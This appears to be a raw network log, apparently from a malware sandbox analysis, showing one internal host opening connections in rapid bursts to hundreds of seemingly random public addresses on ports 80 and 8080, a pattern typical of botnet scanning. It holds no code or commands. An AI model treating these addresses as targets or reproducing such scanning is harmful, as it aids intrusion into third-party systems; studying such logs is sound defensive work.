Mar 21, 2024 05:16:56.429377079 CET	45650	80	192.168.2.13	206.182.220.131
Mar 21, 2024 05:16:56.429393053 CET	45650	80	192.168.2.13	82.60.197.47
Mar 21, 2024 05:16:56.429393053 CET	45650	80	192.168.2.13	169.188.105.162
Mar 21, 2024 05:16:56.429394007 CET	45650	80	192.168.2.13	86.227.136.50
Mar 21, 2024 05:16:56.429394007 CET	45650	80	192.168.2.13	206.186.170.246
Mar 21, 2024 05:16:56.429394960 CET	45650	80	192.168.2.13	200.199.130.135
Mar 21, 2024 05:16:56.429416895 CET	45650	80	192.168.2.13	206.114.150.51
Mar 21, 2024 05:16:56.429426908 CET	45650	80	192.168.2.13	169.51.239.32
Mar 21, 2024 05:16:56.429433107 CET	45650	80	192.168.2.13	82.129.122.29
Mar 21, 2024 05:16:56.429438114 CET	45650	80	192.168.2.13	206.90.211.249
Mar 21, 2024 05:16:56.429445982 CET	45650	80	192.168.2.13	206.68.128.220
Mar 21, 2024 05:16:56.429447889 CET	45650	80	192.168.2.13	200.141.247.3
Mar 21, 2024 05:16:56.429447889 CET	45650	80	192.168.2.13	213.141.214.55
Mar 21, 2024 05:16:56.429455042 CET	45650	80	192.168.2.13	80.74.220.95
Mar 21, 2024 05:16:56.429474115 CET	45650	80	192.168.2.13	178.247.216.95
Mar 21, 2024 05:16:56.429474115 CET	45650	80	192.168.2.13	213.113.123.91
Mar 21, 2024 05:16:56.429474115 CET	45650	80	192.168.2.13	206.210.212.86
Mar 21, 2024 05:16:56.429488897 CET	45650	80	192.168.2.13	200.227.36.152
Mar 21, 2024 05:16:56.429492950 CET	45650	80	192.168.2.13	181.239.100.132
Mar 21, 2024 05:16:56.429495096 CET	45650	80	192.168.2.13	181.25.167.189
Mar 21, 2024 05:16:56.429500103 CET	45650	80	192.168.2.13	178.32.210.229
Mar 21, 2024 05:16:56.429506063 CET	45650	80	192.168.2.13	82.209.140.33
Mar 21, 2024 05:16:56.429510117 CET	45650	80	192.168.2.13	181.183.141.78
Mar 21, 2024 05:16:56.429511070 CET	45650	80	192.168.2.13	80.8.183.37
Mar 21, 2024 05:16:56.429522991 CET	45650	80	192.168.2.13	86.119.240.196
Mar 21, 2024 05:16:56.429524899 CET	45650	80	192.168.2.13	86.213.213.176
Mar 21, 2024 05:16:56.429533005 CET	45650	80	192.168.2.13	80.168.180.243
Mar 21, 2024 05:16:56.429564953 CET	45650	80	192.168.2.13	83.136.149.207
Mar 21, 2024 05:16:56.429564953 CET	45650	80	192.168.2.13	169.137.142.22
Mar 21, 2024 05:16:56.429564953 CET	45650	80	192.168.2.13	206.137.194.65
Mar 21, 2024 05:16:56.429569006 CET	45650	80	192.168.2.13	169.177.168.203
Mar 21, 2024 05:16:56.429569960 CET	45650	80	192.168.2.13	169.127.63.120
Mar 21, 2024 05:16:56.429574013 CET	45650	80	192.168.2.13	80.90.113.217
Mar 21, 2024 05:16:56.429582119 CET	45650	80	192.168.2.13	80.174.224.129
Mar 21, 2024 05:16:56.429583073 CET	45650	80	192.168.2.13	178.24.158.44
Mar 21, 2024 05:16:56.429584980 CET	45650	80	192.168.2.13	213.178.189.88
Mar 21, 2024 05:16:56.429584980 CET	45650	80	192.168.2.13	213.0.14.53
Mar 21, 2024 05:16:56.429584980 CET	45650	80	192.168.2.13	181.181.100.23
Mar 21, 2024 05:16:56.429584980 CET	45650	80	192.168.2.13	80.184.74.72
Mar 21, 2024 05:16:56.429584980 CET	45650	80	192.168.2.13	178.157.236.108
Mar 21, 2024 05:16:56.429589987 CET	45650	80	192.168.2.13	169.15.248.141
Mar 21, 2024 05:16:56.429606915 CET	45650	80	192.168.2.13	178.178.20.178
Mar 21, 2024 05:16:56.429606915 CET	45650	80	192.168.2.13	86.187.98.24
Mar 21, 2024 05:16:56.429616928 CET	45650	80	192.168.2.13	181.12.181.89
Mar 21, 2024 05:16:56.429635048 CET	45650	80	192.168.2.13	83.3.203.45
Mar 21, 2024 05:16:56.429642916 CET	45650	80	192.168.2.13	213.214.36.168
Mar 21, 2024 05:16:56.429651976 CET	45650	80	192.168.2.13	86.55.180.101
Mar 21, 2024 05:16:56.429660082 CET	45650	80	192.168.2.13	86.205.79.187
Mar 21, 2024 05:16:56.429660082 CET	45650	80	192.168.2.13	80.42.223.37
Mar 21, 2024 05:16:56.429662943 CET	45650	80	192.168.2.13	181.33.250.38
Mar 21, 2024 05:16:56.429663897 CET	45650	80	192.168.2.13	83.38.160.124
Mar 21, 2024 05:16:56.429663897 CET	45650	80	192.168.2.13	200.109.125.200
Mar 21, 2024 05:16:56.429665089 CET	45650	80	192.168.2.13	213.119.210.96
Mar 21, 2024 05:16:56.429666996 CET	45650	80	192.168.2.13	80.181.116.113
Mar 21, 2024 05:16:56.429666996 CET	45650	80	192.168.2.13	86.36.164.228
Mar 21, 2024 05:16:56.429671049 CET	45650	80	192.168.2.13	200.39.184.172
Mar 21, 2024 05:16:56.429672003 CET	45650	80	192.168.2.13	80.121.88.58
Mar 21, 2024 05:16:56.429699898 CET	45650	80	192.168.2.13	181.58.0.114
Mar 21, 2024 05:16:56.429709911 CET	45650	80	192.168.2.13	206.9.220.135
Mar 21, 2024 05:16:56.429717064 CET	45650	80	192.168.2.13	181.215.232.143
Mar 21, 2024 05:16:56.429727077 CET	45650	80	192.168.2.13	83.205.247.206
Mar 21, 2024 05:16:56.429727077 CET	45650	80	192.168.2.13	82.146.163.222
Mar 21, 2024 05:16:56.429727077 CET	45650	80	192.168.2.13	178.104.181.202
Mar 21, 2024 05:16:56.429730892 CET	45650	80	192.168.2.13	200.215.179.249
Mar 21, 2024 05:16:56.429742098 CET	45650	80	192.168.2.13	181.141.23.147
Mar 21, 2024 05:16:56.429748058 CET	45650	80	192.168.2.13	213.243.200.87
Mar 21, 2024 05:16:56.429773092 CET	45650	80	192.168.2.13	181.14.231.29
Mar 21, 2024 05:16:56.429773092 CET	45650	80	192.168.2.13	83.75.134.31
Mar 21, 2024 05:16:56.429773092 CET	45650	80	192.168.2.13	86.77.49.219
Mar 21, 2024 05:16:56.429773092 CET	45650	80	192.168.2.13	206.190.74.158
Mar 21, 2024 05:16:56.429773092 CET	45650	80	192.168.2.13	86.251.245.82
Mar 21, 2024 05:16:56.429804087 CET	45650	80	192.168.2.13	80.31.196.134
Mar 21, 2024 05:16:56.429804087 CET	45650	80	192.168.2.13	83.232.133.173
Mar 21, 2024 05:16:56.429805040 CET	45650	80	192.168.2.13	200.0.113.65
Mar 21, 2024 05:16:56.429805994 CET	45650	80	192.168.2.13	86.58.52.32
Mar 21, 2024 05:16:56.429805994 CET	45650	80	192.168.2.13	200.113.206.24
Mar 21, 2024 05:16:56.429841995 CET	45650	80	192.168.2.13	178.49.45.100
Mar 21, 2024 05:16:56.429841995 CET	45650	80	192.168.2.13	80.20.152.226
Mar 21, 2024 05:16:56.429841995 CET	45650	80	192.168.2.13	169.149.130.198
Mar 21, 2024 05:16:56.429868937 CET	45650	80	192.168.2.13	169.17.186.198
Mar 21, 2024 05:16:56.429868937 CET	45650	80	192.168.2.13	213.81.191.149
Mar 21, 2024 05:16:56.429886103 CET	45650	80	192.168.2.13	200.45.202.21
Mar 21, 2024 05:16:56.429886103 CET	45650	80	192.168.2.13	83.203.211.44
Mar 21, 2024 05:16:56.429886103 CET	45650	80	192.168.2.13	200.243.1.117
Mar 21, 2024 05:16:56.429887056 CET	45650	80	192.168.2.13	169.82.65.74
Mar 21, 2024 05:16:56.429887056 CET	45650	80	192.168.2.13	83.109.177.147
Mar 21, 2024 05:16:56.429887056 CET	45650	80	192.168.2.13	178.43.163.64
Mar 21, 2024 05:16:56.429888010 CET	45650	80	192.168.2.13	206.102.0.211
Mar 21, 2024 05:16:56.429891109 CET	45650	80	192.168.2.13	86.158.149.208
Mar 21, 2024 05:16:56.429888010 CET	45650	80	192.168.2.13	169.57.21.97
Mar 21, 2024 05:16:56.429888010 CET	45650	80	192.168.2.13	169.168.103.191
Mar 21, 2024 05:16:56.429886103 CET	45650	80	192.168.2.13	82.254.142.235
Mar 21, 2024 05:16:56.429888010 CET	45650	80	192.168.2.13	178.67.31.35
Mar 21, 2024 05:16:56.429892063 CET	45650	80	192.168.2.13	86.171.181.179
Mar 21, 2024 05:16:56.429891109 CET	45650	80	192.168.2.13	82.207.131.20
Mar 21, 2024 05:16:56.429903984 CET	45650	80	192.168.2.13	200.168.16.164
Mar 21, 2024 05:16:56.429919004 CET	45650	80	192.168.2.13	86.34.136.79
Mar 21, 2024 05:16:56.429919004 CET	45650	80	192.168.2.13	200.183.91.239
Mar 21, 2024 05:16:56.429919004 CET	45650	80	192.168.2.13	206.51.207.46
Mar 21, 2024 05:16:56.429920912 CET	45650	80	192.168.2.13	169.11.8.220
Mar 21, 2024 05:16:56.429920912 CET	45650	80	192.168.2.13	206.241.219.246
Mar 21, 2024 05:16:56.429922104 CET	45650	80	192.168.2.13	83.164.225.124
Mar 21, 2024 05:16:56.429920912 CET	45650	80	192.168.2.13	169.94.16.180
Mar 21, 2024 05:16:56.429922104 CET	45650	80	192.168.2.13	169.36.221.93
Mar 21, 2024 05:16:56.429920912 CET	45650	80	192.168.2.13	82.167.90.12
Mar 21, 2024 05:16:56.429923058 CET	45650	80	192.168.2.13	83.96.12.245
Mar 21, 2024 05:16:56.429920912 CET	45650	80	192.168.2.13	181.66.147.34
Mar 21, 2024 05:16:56.429922104 CET	45650	80	192.168.2.13	181.143.155.119
Mar 21, 2024 05:16:56.429924011 CET	45650	80	192.168.2.13	82.59.149.35
Mar 21, 2024 05:16:56.429922104 CET	45650	80	192.168.2.13	169.185.186.68
Mar 21, 2024 05:16:56.429924011 CET	45650	80	192.168.2.13	181.28.135.168
Mar 21, 2024 05:16:56.429924011 CET	45650	80	192.168.2.13	181.33.231.181
Mar 21, 2024 05:16:56.429924011 CET	45650	80	192.168.2.13	80.179.1.91
Mar 21, 2024 05:16:56.429924011 CET	45650	80	192.168.2.13	80.8.184.205
Mar 21, 2024 05:16:56.429923058 CET	45650	80	192.168.2.13	80.181.180.236
Mar 21, 2024 05:16:56.429924011 CET	45650	80	192.168.2.13	169.235.251.72
Mar 21, 2024 05:16:56.429924011 CET	45650	80	192.168.2.13	82.47.226.111
Mar 21, 2024 05:16:56.429924011 CET	45650	80	192.168.2.13	178.24.13.39
Mar 21, 2024 05:16:56.429924011 CET	45650	80	192.168.2.13	206.33.113.101
Mar 21, 2024 05:16:56.429924011 CET	45650	80	192.168.2.13	200.115.74.149
Mar 21, 2024 05:16:56.429955959 CET	45650	80	192.168.2.13	200.71.179.190
Mar 21, 2024 05:16:56.429960012 CET	45650	80	192.168.2.13	83.244.20.207
Mar 21, 2024 05:16:56.429960012 CET	45650	80	192.168.2.13	206.122.54.100
Mar 21, 2024 05:16:56.429960012 CET	45650	80	192.168.2.13	200.5.33.43
Mar 21, 2024 05:16:56.429960012 CET	45650	80	192.168.2.13	86.134.199.252
Mar 21, 2024 05:16:56.429961920 CET	45650	80	192.168.2.13	178.60.16.63
Mar 21, 2024 05:16:56.429961920 CET	45650	80	192.168.2.13	86.251.223.28
Mar 21, 2024 05:16:56.429963112 CET	45650	80	192.168.2.13	80.185.63.56
Mar 21, 2024 05:16:56.429961920 CET	45650	80	192.168.2.13	181.202.191.70
Mar 21, 2024 05:16:56.429963112 CET	45650	80	192.168.2.13	169.215.177.252
Mar 21, 2024 05:16:56.429961920 CET	45650	80	192.168.2.13	82.215.153.227
Mar 21, 2024 05:16:56.429961920 CET	45650	80	192.168.2.13	178.53.137.165
Mar 21, 2024 05:16:56.429961920 CET	45650	80	192.168.2.13	213.126.48.88
Mar 21, 2024 05:16:56.429965973 CET	45650	80	192.168.2.13	83.97.168.220
Mar 21, 2024 05:16:56.429965973 CET	45650	80	192.168.2.13	80.196.7.157
Mar 21, 2024 05:16:56.429965973 CET	45650	80	192.168.2.13	82.32.69.255
Mar 21, 2024 05:16:56.429965973 CET	45650	80	192.168.2.13	169.159.40.253
Mar 21, 2024 05:16:56.429965973 CET	45650	80	192.168.2.13	181.135.70.19
Mar 21, 2024 05:16:56.429965973 CET	45650	80	192.168.2.13	83.199.220.10
Mar 21, 2024 05:16:56.429965973 CET	45650	80	192.168.2.13	181.227.53.5
Mar 21, 2024 05:16:56.429982901 CET	45650	80	192.168.2.13	82.129.18.73
Mar 21, 2024 05:16:56.429982901 CET	45650	80	192.168.2.13	169.223.201.165
Mar 21, 2024 05:16:56.429982901 CET	45650	80	192.168.2.13	200.63.133.142
Mar 21, 2024 05:16:56.429982901 CET	45650	80	192.168.2.13	181.79.61.160
Mar 21, 2024 05:16:56.429985046 CET	45650	80	192.168.2.13	181.28.171.20
Mar 21, 2024 05:16:56.429982901 CET	45650	80	192.168.2.13	82.134.177.243
Mar 21, 2024 05:16:56.429985046 CET	45650	80	192.168.2.13	206.231.194.145
Mar 21, 2024 05:16:56.429982901 CET	45650	80	192.168.2.13	82.70.169.197
Mar 21, 2024 05:16:56.429985046 CET	45650	80	192.168.2.13	181.108.213.230
Mar 21, 2024 05:16:56.429982901 CET	45650	80	192.168.2.13	82.50.151.226
Mar 21, 2024 05:16:56.429985046 CET	45650	80	192.168.2.13	181.212.201.117
Mar 21, 2024 05:16:56.429986954 CET	45650	80	192.168.2.13	83.211.200.175
Mar 21, 2024 05:16:56.429985046 CET	45650	80	192.168.2.13	86.104.182.198
Mar 21, 2024 05:16:56.429990053 CET	45650	80	192.168.2.13	82.234.235.76
Mar 21, 2024 05:16:56.429982901 CET	45650	80	192.168.2.13	213.23.33.26
Mar 21, 2024 05:16:56.429991961 CET	45650	80	192.168.2.13	213.178.94.254
Mar 21, 2024 05:16:56.429985046 CET	45650	80	192.168.2.13	83.16.165.137
Mar 21, 2024 05:16:56.429991961 CET	45650	80	192.168.2.13	178.204.204.182
Mar 21, 2024 05:16:56.429990053 CET	45650	80	192.168.2.13	86.59.29.197
Mar 21, 2024 05:16:56.429991961 CET	45650	80	192.168.2.13	178.95.140.154
Mar 21, 2024 05:16:56.429986954 CET	45650	80	192.168.2.13	206.97.208.66
Mar 21, 2024 05:16:56.429990053 CET	45650	80	192.168.2.13	181.245.29.167
Mar 21, 2024 05:16:56.429990053 CET	45650	80	192.168.2.13	178.161.232.72
Mar 21, 2024 05:16:56.429990053 CET	45650	80	192.168.2.13	83.102.116.172
Mar 21, 2024 05:16:56.429990053 CET	45650	80	192.168.2.13	83.36.58.118
Mar 21, 2024 05:16:56.429990053 CET	45650	80	192.168.2.13	82.121.86.41
Mar 21, 2024 05:16:56.429990053 CET	45650	80	192.168.2.13	86.56.77.245
Mar 21, 2024 05:16:56.430001974 CET	45650	80	192.168.2.13	83.71.66.197
Mar 21, 2024 05:16:56.430001974 CET	45650	80	192.168.2.13	181.244.144.205
Mar 21, 2024 05:16:56.430005074 CET	45650	80	192.168.2.13	86.93.169.52
Mar 21, 2024 05:16:56.430037022 CET	45650	80	192.168.2.13	213.55.61.163
Mar 21, 2024 05:16:56.430037022 CET	45650	80	192.168.2.13	82.55.70.11
Mar 21, 2024 05:16:56.430037022 CET	45650	80	192.168.2.13	80.199.138.177
Mar 21, 2024 05:16:56.430039883 CET	45650	80	192.168.2.13	86.221.61.234
Mar 21, 2024 05:16:56.430039883 CET	45650	80	192.168.2.13	169.93.254.212
Mar 21, 2024 05:16:56.430039883 CET	45650	80	192.168.2.13	181.91.226.157
Mar 21, 2024 05:16:56.430039883 CET	45650	80	192.168.2.13	213.196.128.241
Mar 21, 2024 05:16:56.430044889 CET	45650	80	192.168.2.13	80.254.99.38
Mar 21, 2024 05:16:56.430044889 CET	45650	80	192.168.2.13	83.200.227.125
Mar 21, 2024 05:16:56.430044889 CET	45650	80	192.168.2.13	80.91.55.116
Mar 21, 2024 05:16:56.430044889 CET	45650	80	192.168.2.13	206.152.107.85
Mar 21, 2024 05:16:56.430044889 CET	45650	80	192.168.2.13	200.194.202.152
Mar 21, 2024 05:16:56.430044889 CET	45650	80	192.168.2.13	83.15.98.166
Mar 21, 2024 05:16:56.430054903 CET	45650	80	192.168.2.13	80.90.65.6
Mar 21, 2024 05:16:56.430054903 CET	45650	80	192.168.2.13	86.7.186.39
Mar 21, 2024 05:16:56.430054903 CET	45650	80	192.168.2.13	178.92.251.198
Mar 21, 2024 05:16:56.430079937 CET	45650	80	192.168.2.13	86.9.50.90
Mar 21, 2024 05:16:56.430080891 CET	45650	80	192.168.2.13	213.186.118.85
Mar 21, 2024 05:16:56.430080891 CET	45650	80	192.168.2.13	200.207.137.119
Mar 21, 2024 05:16:56.430098057 CET	45650	80	192.168.2.13	206.29.169.37
Mar 21, 2024 05:16:56.430098057 CET	45650	80	192.168.2.13	181.127.29.255
Mar 21, 2024 05:16:56.430098057 CET	45650	80	192.168.2.13	213.144.222.220
Mar 21, 2024 05:16:56.430098057 CET	45650	80	192.168.2.13	86.118.79.123
Mar 21, 2024 05:16:56.430098057 CET	45650	80	192.168.2.13	86.114.32.74
Mar 21, 2024 05:16:56.447724104 CET	45138	8080	192.168.2.13	98.243.31.50
Mar 21, 2024 05:16:56.447870016 CET	45138	8080	192.168.2.13	98.173.167.50
Mar 21, 2024 05:16:56.447910070 CET	45138	8080	192.168.2.13	172.176.170.117
Mar 21, 2024 05:16:56.447973013 CET	45138	8080	192.168.2.13	184.109.201.163
Mar 21, 2024 05:16:56.447979927 CET	45138	8080	192.168.2.13	98.13.55.131
Mar 21, 2024 05:16:56.447981119 CET	45138	8080	192.168.2.13	98.236.56.154
Mar 21, 2024 05:16:56.448076963 CET	45138	8080	192.168.2.13	184.158.61.118
Mar 21, 2024 05:16:56.448091030 CET	45138	8080	192.168.2.13	98.103.158.131
Mar 21, 2024 05:16:56.448091030 CET	45138	8080	192.168.2.13	98.232.175.162
Mar 21, 2024 05:16:56.448091030 CET	45138	8080	192.168.2.13	172.179.142.93
Mar 21, 2024 05:16:56.448091984 CET	45138	8080	192.168.2.13	184.100.156.115
Mar 21, 2024 05:16:56.448091030 CET	45138	8080	192.168.2.13	184.239.99.180
Mar 21, 2024 05:16:56.448092937 CET	45138	8080	192.168.2.13	98.219.16.34
Mar 21, 2024 05:16:56.448091984 CET	45138	8080	192.168.2.13	98.154.140.230
Mar 21, 2024 05:16:56.448091984 CET	45138	8080	192.168.2.13	98.228.73.92
Mar 21, 2024 05:16:56.448091984 CET	45138	8080	192.168.2.13	172.85.29.235
Mar 21, 2024 05:16:56.448091984 CET	45138	8080	192.168.2.13	172.236.175.146
Mar 21, 2024 05:16:56.448092937 CET	45138	8080	192.168.2.13	172.59.234.197
Mar 21, 2024 05:16:56.448091984 CET	45138	8080	192.168.2.13	184.8.8.237
Mar 21, 2024 05:16:56.448102951 CET	45138	8080	192.168.2.13	172.134.206.41
Mar 21, 2024 05:16:56.448102951 CET	45138	8080	192.168.2.13	98.246.158.160
Mar 21, 2024 05:16:56.448105097 CET	45138	8080	192.168.2.13	98.62.4.86
Mar 21, 2024 05:16:56.448105097 CET	45138	8080	192.168.2.13	98.94.194.117
Mar 21, 2024 05:16:56.448122978 CET	45138	8080	192.168.2.13	98.72.213.153
Mar 21, 2024 05:16:56.448122978 CET	45138	8080	192.168.2.13	172.82.94.188
Mar 21, 2024 05:16:56.448122978 CET	45138	8080	192.168.2.13	98.222.123.66
Mar 21, 2024 05:16:56.448122978 CET	45138	8080	192.168.2.13	184.150.135.88
Mar 21, 2024 05:16:56.448129892 CET	45138	8080	192.168.2.13	184.137.108.81
Mar 21, 2024 05:16:56.448129892 CET	45138	8080	192.168.2.13	98.76.35.97
Mar 21, 2024 05:16:56.448129892 CET	45138	8080	192.168.2.13	98.39.185.231
Mar 21, 2024 05:16:56.448129892 CET	45138	8080	192.168.2.13	184.205.175.20
Mar 21, 2024 05:16:56.448129892 CET	45138	8080	192.168.2.13	184.38.92.26
Mar 21, 2024 05:16:56.448134899 CET	45138	8080	192.168.2.13	98.225.140.29
Mar 21, 2024 05:16:56.448134899 CET	45138	8080	192.168.2.13	184.114.59.15
Mar 21, 2024 05:16:56.448134899 CET	45138	8080	192.168.2.13	172.162.174.26
Mar 21, 2024 05:16:56.448134899 CET	45138	8080	192.168.2.13	172.86.58.46
Mar 21, 2024 05:16:56.448134899 CET	45138	8080	192.168.2.13	184.64.56.184
Mar 21, 2024 05:16:56.448134899 CET	45138	8080	192.168.2.13	184.2.179.210
Mar 21, 2024 05:16:56.448142052 CET	45138	8080	192.168.2.13	184.142.152.245
Mar 21, 2024 05:16:56.448143005 CET	45138	8080	192.168.2.13	184.179.186.46
Mar 21, 2024 05:16:56.448142052 CET	45138	8080	192.168.2.13	98.14.11.66
Mar 21, 2024 05:16:56.448143005 CET	45138	8080	192.168.2.13	184.94.186.207
Mar 21, 2024 05:16:56.448142052 CET	45138	8080	192.168.2.13	98.255.68.23
Mar 21, 2024 05:16:56.448143005 CET	45138	8080	192.168.2.13	172.173.74.85
Mar 21, 2024 05:16:56.448142052 CET	45138	8080	192.168.2.13	184.201.208.244
Mar 21, 2024 05:16:56.448142052 CET	45138	8080	192.168.2.13	172.22.34.39
Mar 21, 2024 05:16:56.448142052 CET	45138	8080	192.168.2.13	184.193.23.4
Mar 21, 2024 05:16:56.448142052 CET	45138	8080	192.168.2.13	98.214.34.76
Mar 21, 2024 05:16:56.448143005 CET	45138	8080	192.168.2.13	172.151.125.76
Mar 21, 2024 05:16:56.448143005 CET	45138	8080	192.168.2.13	98.77.1.159
Mar 21, 2024 05:16:56.448147058 CET	45138	8080	192.168.2.13	184.138.38.192
Mar 21, 2024 05:16:56.448143005 CET	45138	8080	192.168.2.13	98.135.255.8
Mar 21, 2024 05:16:56.448147058 CET	45138	8080	192.168.2.13	172.248.229.72
Mar 21, 2024 05:16:56.448147058 CET	45138	8080	192.168.2.13	184.21.188.204
Mar 21, 2024 05:16:56.448154926 CET	45138	8080	192.168.2.13	172.210.44.240
Mar 21, 2024 05:16:56.448154926 CET	45138	8080	192.168.2.13	184.233.65.193
Mar 21, 2024 05:16:56.448154926 CET	45138	8080	192.168.2.13	172.7.188.229
Mar 21, 2024 05:16:56.448154926 CET	45138	8080	192.168.2.13	172.14.74.76
Mar 21, 2024 05:16:56.448154926 CET	45138	8080	192.168.2.13	98.121.165.250
Mar 21, 2024 05:16:56.448154926 CET	45138	8080	192.168.2.13	184.213.143.18
Mar 21, 2024 05:16:56.448154926 CET	45138	8080	192.168.2.13	172.240.15.31
Mar 21, 2024 05:16:56.448165894 CET	45138	8080	192.168.2.13	184.22.209.112
Mar 21, 2024 05:16:56.448183060 CET	45138	8080	192.168.2.13	172.93.92.222
Mar 21, 2024 05:16:56.448201895 CET	45138	8080	192.168.2.13	172.105.39.231
Mar 21, 2024 05:16:56.448208094 CET	45138	8080	192.168.2.13	172.160.149.169
Mar 21, 2024 05:16:56.448209047 CET	45138	8080	192.168.2.13	98.19.144.110
Mar 21, 2024 05:16:56.448214054 CET	45138	8080	192.168.2.13	172.127.8.207
Mar 21, 2024 05:16:56.448214054 CET	45138	8080	192.168.2.13	98.37.12.215
Mar 21, 2024 05:16:56.448223114 CET	45138	8080	192.168.2.13	172.227.121.138
Mar 21, 2024 05:16:56.448225021 CET	45138	8080	192.168.2.13	172.121.76.95
Mar 21, 2024 05:16:56.448232889 CET	45138	8080	192.168.2.13	184.22.142.177
Mar 21, 2024 05:16:56.448239088 CET	45138	8080	192.168.2.13	184.170.46.72
Mar 21, 2024 05:16:56.448239088 CET	45138	8080	192.168.2.13	172.46.220.34
Mar 21, 2024 05:16:56.448239088 CET	45138	8080	192.168.2.13	184.169.24.90
Mar 21, 2024 05:16:56.448239088 CET	45138	8080	192.168.2.13	184.39.126.17
Mar 21, 2024 05:16:56.448242903 CET	45138	8080	192.168.2.13	172.246.25.28
Mar 21, 2024 05:16:56.448254108 CET	45138	8080	192.168.2.13	184.108.241.6
Mar 21, 2024 05:16:56.448261976 CET	45138	8080	192.168.2.13	184.248.153.88
Mar 21, 2024 05:16:56.448261976 CET	45138	8080	192.168.2.13	172.80.155.120
Mar 21, 2024 05:16:56.448270082 CET	45138	8080	192.168.2.13	184.99.243.52
Mar 21, 2024 05:16:56.448273897 CET	45138	8080	192.168.2.13	98.53.4.92
Mar 21, 2024 05:16:56.448273897 CET	45138	8080	192.168.2.13	172.25.4.180
Mar 21, 2024 05:16:56.448288918 CET	45138	8080	192.168.2.13	172.73.113.255
Mar 21, 2024 05:16:56.448288918 CET	45138	8080	192.168.2.13	184.44.113.167
Mar 21, 2024 05:16:56.448290110 CET	45138	8080	192.168.2.13	184.44.131.237
Mar 21, 2024 05:16:56.448296070 CET	45138	8080	192.168.2.13	172.85.212.29
Mar 21, 2024 05:16:56.448323011 CET	45138	8080	192.168.2.13	172.0.74.199
Mar 21, 2024 05:16:56.448323011 CET	45138	8080	192.168.2.13	184.245.47.67
Mar 21, 2024 05:16:56.448323011 CET	45138	8080	192.168.2.13	172.207.64.187
Mar 21, 2024 05:16:56.448329926 CET	45138	8080	192.168.2.13	172.118.91.47
Mar 21, 2024 05:16:56.448332071 CET	45138	8080	192.168.2.13	184.253.7.155
Mar 21, 2024 05:16:56.448334932 CET	45138	8080	192.168.2.13	98.42.228.210
Mar 21, 2024 05:16:56.448365927 CET	45138	8080	192.168.2.13	172.249.159.190
Mar 21, 2024 05:16:56.448365927 CET	45138	8080	192.168.2.13	98.249.132.80
Mar 21, 2024 05:16:56.448369026 CET	45138	8080	192.168.2.13	184.177.111.175
Mar 21, 2024 05:16:56.448381901 CET	45138	8080	192.168.2.13	98.48.19.170
Mar 21, 2024 05:16:56.448384047 CET	45138	8080	192.168.2.13	98.220.147.66
Mar 21, 2024 05:16:56.448389053 CET	45138	8080	192.168.2.13	172.206.56.12
Mar 21, 2024 05:16:56.448405027 CET	45138	8080	192.168.2.13	184.176.5.103
Mar 21, 2024 05:16:56.448406935 CET	45138	8080	192.168.2.13	98.137.199.174
Mar 21, 2024 05:16:56.448407888 CET	45138	8080	192.168.2.13	172.232.128.121
Mar 21, 2024 05:16:56.448410988 CET	45138	8080	192.168.2.13	172.21.128.249
Mar 21, 2024 05:16:56.448412895 CET	45138	8080	192.168.2.13	184.101.35.70
Mar 21, 2024 05:16:56.448450089 CET	45138	8080	192.168.2.13	98.158.68.244
Mar 21, 2024 05:16:56.448457003 CET	45138	8080	192.168.2.13	172.58.206.144
Mar 21, 2024 05:16:56.448457003 CET	45138	8080	192.168.2.13	172.210.77.241
Mar 21, 2024 05:16:56.448457003 CET	45138	8080	192.168.2.13	98.9.67.174
Mar 21, 2024 05:16:56.448458910 CET	45138	8080	192.168.2.13	172.237.240.235
Mar 21, 2024 05:16:56.448468924 CET	45138	8080	192.168.2.13	184.160.204.209
Mar 21, 2024 05:16:56.448470116 CET	45138	8080	192.168.2.13	184.225.230.215
Mar 21, 2024 05:16:56.448471069 CET	45138	8080	192.168.2.13	184.131.7.156
Mar 21, 2024 05:16:56.448471069 CET	45138	8080	192.168.2.13	184.93.193.55
Mar 21, 2024 05:16:56.448471069 CET	45138	8080	192.168.2.13	98.220.196.175
Mar 21, 2024 05:16:56.448471069 CET	45138	8080	192.168.2.13	98.194.53.28
Mar 21, 2024 05:16:56.448472977 CET	45138	8080	192.168.2.13	184.56.69.162
Mar 21, 2024 05:16:56.448472977 CET	45138	8080	192.168.2.13	184.147.29.47
Mar 21, 2024 05:16:56.448473930 CET	45138	8080	192.168.2.13	172.103.137.195
Mar 21, 2024 05:16:56.448474884 CET	45138	8080	192.168.2.13	184.242.93.71
Mar 21, 2024 05:16:56.448493004 CET	45138	8080	192.168.2.13	98.183.206.180
Mar 21, 2024 05:16:56.448493004 CET	45138	8080	192.168.2.13	172.251.17.122
Mar 21, 2024 05:16:56.448493004 CET	45138	8080	192.168.2.13	98.220.101.12
Mar 21, 2024 05:16:56.448493004 CET	45138	8080	192.168.2.13	172.177.182.213
Mar 21, 2024 05:16:56.448494911 CET	45138	8080	192.168.2.13	98.124.125.16
Mar 21, 2024 05:16:56.448497057 CET	45138	8080	192.168.2.13	172.2.197.44
Mar 21, 2024 05:16:56.448497057 CET	45138	8080	192.168.2.13	184.210.42.75
Mar 21, 2024 05:16:56.448497057 CET	45138	8080	192.168.2.13	98.32.205.164
Mar 21, 2024 05:16:56.448506117 CET	45138	8080	192.168.2.13	172.205.222.56
Mar 21, 2024 05:16:56.448507071 CET	45138	8080	192.168.2.13	184.52.206.153
Mar 21, 2024 05:16:56.448512077 CET	45138	8080	192.168.2.13	184.181.249.51
Mar 21, 2024 05:16:56.448514938 CET	45138	8080	192.168.2.13	172.251.97.62
Mar 21, 2024 05:16:56.448514938 CET	45138	8080	192.168.2.13	172.69.20.188
Mar 21, 2024 05:16:56.448523998 CET	45138	8080	192.168.2.13	184.10.196.26
Mar 21, 2024 05:16:56.448524952 CET	45138	8080	192.168.2.13	98.252.158.61
Mar 21, 2024 05:16:56.448528051 CET	45138	8080	192.168.2.13	172.200.36.187
Mar 21, 2024 05:16:56.448528051 CET	45138	8080	192.168.2.13	172.63.2.28
Mar 21, 2024 05:16:56.448529005 CET	45138	8080	192.168.2.13	184.241.56.120
Mar 21, 2024 05:16:56.448548079 CET	45138	8080	192.168.2.13	98.4.197.121
Mar 21, 2024 05:16:56.448551893 CET	45138	8080	192.168.2.13	184.89.228.243
Mar 21, 2024 05:16:56.448560953 CET	45138	8080	192.168.2.13	184.202.15.131
Mar 21, 2024 05:16:56.448596001 CET	45138	8080	192.168.2.13	184.204.28.97
Mar 21, 2024 05:16:56.448599100 CET	45138	8080	192.168.2.13	184.223.78.100
Mar 21, 2024 05:16:56.448611975 CET	45138	8080	192.168.2.13	98.158.158.142
Mar 21, 2024 05:16:56.448611975 CET	45138	8080	192.168.2.13	184.177.7.220
